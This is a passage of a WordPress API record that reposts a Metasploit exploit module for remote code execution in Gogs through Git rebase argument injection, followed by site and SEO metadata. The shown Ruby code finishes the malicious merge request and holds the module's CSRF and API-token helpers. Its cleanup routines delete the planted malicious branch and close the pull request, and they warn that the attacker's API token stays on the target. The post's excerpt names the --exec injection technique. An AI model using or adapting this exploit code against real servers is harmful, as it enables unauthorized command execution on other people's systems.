&#8216;commit_description&#8217; =\\u003e &#8221;\\n      }\\n    }, 5)\\n    # May return 500 (expected on exec), 302 (merged), or timeout (blocking shell)\\n\\n    # Reset connection pool since the merge POST may have timed out\\n    disconnect\\n  end\\n\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n  # HTTP helpers\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n\\n  def api_request(method, uri, body = nil)\\n    opts = {\\n      &#8216;method&#8217; =\\u003e method,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, uri),\\n      &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e \\&#8221;token #{@api_token}\\&#8221; }\\n    }\\n    if body\\n      opts[&#8216;ctype&#8217;] = &#8216;application\/json&#8217;\\n      opts[&#8216;data&#8217;] = body\\n    end\\n    send_request_cgi(opts)\\n  end\\n\\n  def http_post_request(uri, opts = {})\\n    full_uri = normalize_uri(target_uri.path, uri)\\n    csrf = get_csrf(full_uri)\\n\\n    post_data = { _csrf: csrf }.merge(opts)\\n    send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e full_uri,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;vars_post&#8217; =\\u003e post_data\\n    )\\n  end\\n\\n  def get_csrf(uri)\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e uri,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n    fail_with(Failure::Unreachable, \\&#8221;Unable to reach #{uri}\\&#8221;) unless res\\n\\n    extract_csrf(res)\\n  end\\n\\n  def extract_csrf(res)\\n    fail_with(Failure::Unreachable, &#8216;No response to extract CSRF from&#8217;) unless res\\n\\n    doc = res.get_html_document\\n    csrf = doc.at_xpath(\\&#8221;\/\/input[@name=&#8217;_csrf&#8217;]\/@value\\&#8221;)\\u0026.text\\n    fail_with(Failure::NotFound, &#8216;CSRF token not found in response&#8217;) if csrf.blank?\\n\\n    csrf\\n  end\\n\\n  def basic_auth(user, pass)\\n    \\&#8221;Basic #{Rex::Text.encode_base64(\\&#8221;#{user}:#{pass}\\&#8221;)}\\&#8221;\\n  end\\n\\n  # Returns a service object for linking to report_vuln.\\n  # Builds the full layered service hierarchy: gogs -\\u003e [ssl -\\u003e] http -\\u003e tcp\\n  def report_gogs_service(info)\\n    base_opts = {\\n      host: rhost,\\n      port: rport,\\n      proto: &#8216;tcp&#8217;\\n    }\\n    gogs_srv = base_opts.merge(name: &#8216;gogs&#8217;, info: info)\\n    http_srv = base_opts.merge(name: &#8216;http&#8217;, parents: base_opts.merge(name: &#8216;tcp&#8217;))\\n    gogs_srv[:parents] = datastore[&#8216;SSL&#8217;] ? base_opts.merge(name: &#8216;ssl&#8217;, parents: http_srv) : http_srv\\n\\n    report_service(gogs_srv)\\n  end\\n\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n  # Cleanup\\n  # &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n\\n  def cleanup\\n    super\\n\\n    if @need_cleanup\\n      if own_repo?\\n        cleanup_own_repo\\n      else\\n        cleanup_existing_repo\\n      end\\n    end\\n\\n    # Clean up local temp directory AFTER remote cleanup (existing_repo\\n    # branch deletion uses the local git workdir for push operations)\\n    if @tmpdir \\u0026\\u0026 File.directory?(@tmpdir)\\n      FileUtils.rm_rf(@tmpdir)\\n      vprint_status(&#8216;Local temp directory cleaned up&#8217;)\\n    end\\n\\n    # Gogs API has no token deletion endpoint, so warn the user\\n    if @api_token\\n      print_warning(&#8216;API token \\&#8221;msf_*\\&#8221; persists on the target (Gogs API does not support token deletion)&#8217;)\\n    end\\n  end\\n\\n  def cleanup_own_repo\\n    print_status(\\&#8221;Cleaning up &#8211; deleting repository #{@repo_name}\\&#8221;)\\n\\n    send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;DELETE&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/repos\/&#8217;, @repo_path),\\n      &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e \\&#8221;token #{@api_token}\\&#8221; }\\n    )\\n\\n    verify = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/repos\/&#8217;, @repo_path),\\n      &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e \\&#8221;token #{@api_token}\\&#8221; }\\n    )\\n\\n    if verify\\u0026.code == 404\\n      print_good(\\&#8221;Repository #{@repo_name} deleted\\&#8221;)\\n    elsif verify.nil?\\n      print_warning(\\&#8221;Could not confirm deletion. Delete #{@repo_path} manually if it still exists.\\&#8221;)\\n    else\\n      print_warning(\\&#8221;Repository may still exist. Delete #{@repo_path} manually.\\&#8221;)\\n    end\\n  rescue ::Rex::ConnectionError, ::Errno::ECONNRESET =\\u003e e\\n    print_warning(\\&#8221;Cleanup failed: #{e.message}. Delete #{@repo_path} manually.\\&#8221;)\\n  end\\n\\n  def cleanup_existing_repo\\n    print_status(\\&#8221;Cleaning up artifacts from #{@repo_path}\\&#8221;)\\n    delete_remote_branches\\n    close_pull_request\\n  rescue ::Rex::ConnectionError, ::Errno::ECONNRESET =\\u003e e\\n    print_warning(\\&#8221;Cleanup failed: #{e.message}\\&#8221;)\\n    print_warning(\\&#8221;Manually delete branches and close PR ##{@pr_number} in #{@repo_path}\\&#8221;)\\n  end\\n\\n  def delete_remote_branches\\n    workdir = @tmpdir ? File.join(@tmpdir, &#8216;work&#8217;) : nil\\n    return unless workdir \\u0026\\u0026 File.directory?(workdir)\\n\\n    if @malicious_branch\\n      vprint_status(\\&#8221;Deleting malicious branch from #{@repo_path}\\&#8221;)\\n      if run_git_safe([&#8216;push&#8217;, &#8216;origin&#8217;, &#8216;&#8211;delete&#8217;, \\&#8221;refs\/heads\/#{@malicious_branch}\\&#8221;], workdir)\\n        print_good(&#8216;Malicious branch deleted&#8217;)\\n      else\\n        print_warning(\\&#8221;Could not delete malicious branch. Delete it manually from #{@repo_path}\\&#8221;)\\n      end\\n    end\\n\\n    if @feature_branch\\n      vprint_status(\\&#8221;Deleting feature branch from #{@repo_path}\\&#8221;)\\n      if run_git_safe([&#8216;push&#8217;, &#8216;origin&#8217;, &#8216;&#8211;delete&#8217;, @feature_branch], workdir)\\n        print_good(&#8216;Feature branch deleted&#8217;)\\n      else\\n        print_warning(\\&#8221;Could not delete feature branch \\\\\\&#8221;#{@feature_branch}\\\\\\&#8221; from #{@repo_path}\\&#8221;)\\n      end\\n    end\\n  end\\n\\n  def close_pull_request\\n    return unless @pr_number\\n\\n    # GET the PR page for CSRF (must use \/pulls\/ path; \/issues\/ redirects)\\n    pr_page = normalize_uri(target_uri.path, @repo_path, &#8216;pulls&#8217;, @pr_number)\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e pr_page,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n\\n    unless res\\n      print_warning(\\&#8221;Could not load PR page to close PR ##{@pr_number}\\&#8221;)\\n      return\\n    end\\n\\n    # Extract CSRF without fail_with (cleanup must not abort)\\n    doc = res.get_html_document\\n    csrf = doc.at_xpath(\\&#8221;\/\/input[@name=&#8217;_csrf&#8217;]\/@value\\&#8221;)\\u0026.text\\n    unless csrf\\n      print_warning(\\&#8221;Could not find CSRF token to close PR ##{@pr_number}\\&#8221;)\\n      return\\n    end\\n\\n    comment_uri = normalize_uri(target_uri.path, @repo_path, &#8216;issues&#8217;, @pr_number, &#8216;comments&#8217;)\\n    res = send_request_cgi(\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e comment_uri,\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;,\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;_csrf&#8217; =\\u003e csrf,\\n        &#8216;status&#8217; =\\u003e &#8216;close&#8217;,\\n        &#8216;content&#8217; =\\u003e &#8221;\\n      }\\n    )\\n\\n    if res \\u0026\\u0026 [200, 302].include?(res.code)\\n      print_good(\\&#8221;PR ##{@pr_number} closed\\&#8221;)\\n    else\\n      print_warning(\\&#8221;Could not close PR ##{@pr_number}. Close it manually in #{@repo_path}\\&#8221;)\\n    end\\n  rescue StandardError =\\u003e e\\n    print_warning(\\&#8221;Failed to close PR: #{e.message}\\&#8221;)\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/gogs_rebase_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/gogs_rebase_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-03T19:33:07&#8243;,&#8221;description&#8221;:&#8221;This module exploits an argument injection vulnerability in the pull request merge flow of Gogs is parsed by Git as the &#8211;exec flag rather than&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-59556","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=59556\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-03T19:33:07&#8243;,&#8221;description&#8221;:&#8221;This module exploits an argument injection vulnerability in the pull request merge flow of Gogs is parsed by Git as the &#8211;exec flag rather than...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=59556\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-03T15:48:48+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"23 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59556#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59556\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE-\",\"datePublished\":\"2026-06-03T15:48:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59556\"},\"wordCount\":4475,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59556#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59556\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59556\",\"name\":\"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-03T15:48:48+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59556#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59556\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59556#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=59556","og_locale":"en_US","og_type":"article","og_title":"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-03T19:33:07&#8243;,&#8221;description&#8221;:&#8221;This module exploits an argument injection vulnerability in the pull request merge flow of Gogs is parsed by Git as the &#8211;exec flag rather than...","og_url":"https:\/\/zero.redgem.net\/?p=59556","og_site_name":"zero redgem","article_published_time":"2026-06-03T15:48:48+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"23 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=59556#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=59556"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE-","datePublished":"2026-06-03T15:48:48+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=59556"},"wordCount":4475,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=59556#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=59556","url":"https:\/\/zero.redgem.net\/?p=59556","name":"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-03T15:48:48+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=59556#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=59556"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=59556#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Gogs Git Rebase Argument Injection RCE_MSF:EXPLOIT-MULTI-HTTP-GOGS_REBASE_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59556","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=59556"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59556\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=59556"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=59556"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=59556"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}